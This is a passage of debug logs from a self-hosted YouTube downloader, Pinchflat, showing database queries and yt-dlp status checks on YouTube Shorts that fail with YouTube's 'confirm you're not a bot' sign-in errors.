s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.012 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.012 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/R3de8PzOLio --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/26/3b/263ba3a56b33491da24233cdb0ce38e1156dc8056d084a082734abb93189c0a6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:46.554 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/BuTDBaIe25Q --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/af/dc/afdc48f3af5cc4034847f3f657636c46020d3421f78eace7cb5ae2b5aeee5554.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] BuTDBaIe25Q: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:46.554 [error] yt-dlp download error for media item #393: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] BuTDBaIe25Q: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:46.554 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] BuTDBaIe25Q: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:46.556 [info] {"args":{"id":393},"id":234,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1957812,"event":"job:stop","attempt":1,"queue_time":33596076,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:46.558 [debug] QUERY OK source="tasks" db=1.0ms queue=0.1ms idle=547.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:46.559 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=546.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [394] 20:31:46.564 [info] {"args":{"id":395},"id":236,"meta":{},"system_time":1774150306564013167,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:46.565 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=551.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [395] 20:31:46.565 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:46.566 [debug] QUERY OK source="tasks" db=1.7ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:46.567 [debug] QUERY OK source="sources" db=0.8ms queue=0.8ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:46.568 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [394, 395] 20:31:46.570 [debug] QUERY OK source="media_profiles" db=2.9ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:46.571 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [395] 20:31:46.574 [debug] QUERY OK source="media_metadata" db=0.5ms idle=8.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [395] 20:31:46.576 [debug] QUERY OK source="media_profiles" db=0.9ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:46.577 [debug] QUERY OK source="settings" db=0.8ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.577 [debug] QUERY OK source="settings" db=0.7ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.579 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:46.580 [debug] QUERY OK source="settings" db=0.2ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.580 [debug] QUERY OK source="settings" db=0.4ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.581 [debug] QUERY OK source="settings" db=0.5ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.581 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/n0Ujfp93fzw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/92/0a/920ab6f8a0ec27131a2826fdf368bdc0965f7d31523535ff750c92709c37487f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:47.888 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/R3de8PzOLio --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/26/3b/263ba3a56b33491da24233cdb0ce38e1156dc8056d084a082734abb93189c0a6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] R3de8PzOLio: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:47.888 [error] yt-dlp download error for media item #394: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] R3de8PzOLio: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:47.889 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] R3de8PzOLio: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:47.890 [info] {"args":{"id":394},"id":235,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1889297,"event":"job:stop","attempt":1,"queue_time":34999149,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:47.890 [debug] QUERY OK source="tasks" db=0.5ms idle=295.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:47.891 [debug] QUERY OK source="media_items" db=0.3ms idle=296.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [395] 20:31:47.897 [info] {"args":{"id":396},"id":237,"meta":{},"system_time":1774150307897786474,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:47.898 [debug] QUERY OK source="media_items" db=0.4ms idle=13.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [396] 20:31:47.898 [debug] QUERY OK source="tasks" db=0.4ms idle=8.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:47.899 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:47.900 [debug] QUERY OK source="media_items" db=1.1ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [395, 396] 20:31:47.901 [debug] QUERY OK source="sources" db=1.0ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:47.902 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:47.902 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [396] 20:31:47.904 [debug] QUERY OK source="media_metadata" db=0.2ms idle=4.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [396] 20:31:47.904 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:47.904 [debug] QUERY OK source="settings" db=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:47.905 [debug] QUERY OK source="settings" db=0.5ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:47.906 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:47.907 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:47.907 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:47.908 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:47.908 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/gZgfBgtk5mI --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c4/f0/c4f0c1aa0b4bc87d5141da5d6ca0aedce538b9fdd10a554909b2cb03ad2001c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:48.426 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/n0Ujfp93fzw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/92/0a/920ab6f8a0ec27131a2826fdf368bdc0965f7d31523535ff750c92709c37487f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] n0Ujfp93fzw: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:48.426 [error] yt-dlp download error for media item #395: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] n0Ujfp93fzw: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:48.426 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] n0Ujfp93fzw: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:48.427 [info] {"args":{"id":395},"id":236,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1862445,"event":"job:stop","attempt":1,"queue_time":35563135,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:48.428 [debug] QUERY OK source="tasks" db=0.4ms idle=522.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:48.429 [debug] QUERY OK source="media_items" db=0.5ms idle=521.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [396] 20:31:48.435 [info] {"args":{"id":397},"id":238,"meta":{},"system_time":1774150308434770820,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:48.436 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=526.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [397] 20:31:48.436 [debug] QUERY OK source="tasks" db=1.5ms idle=7.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:48.438 [info] User 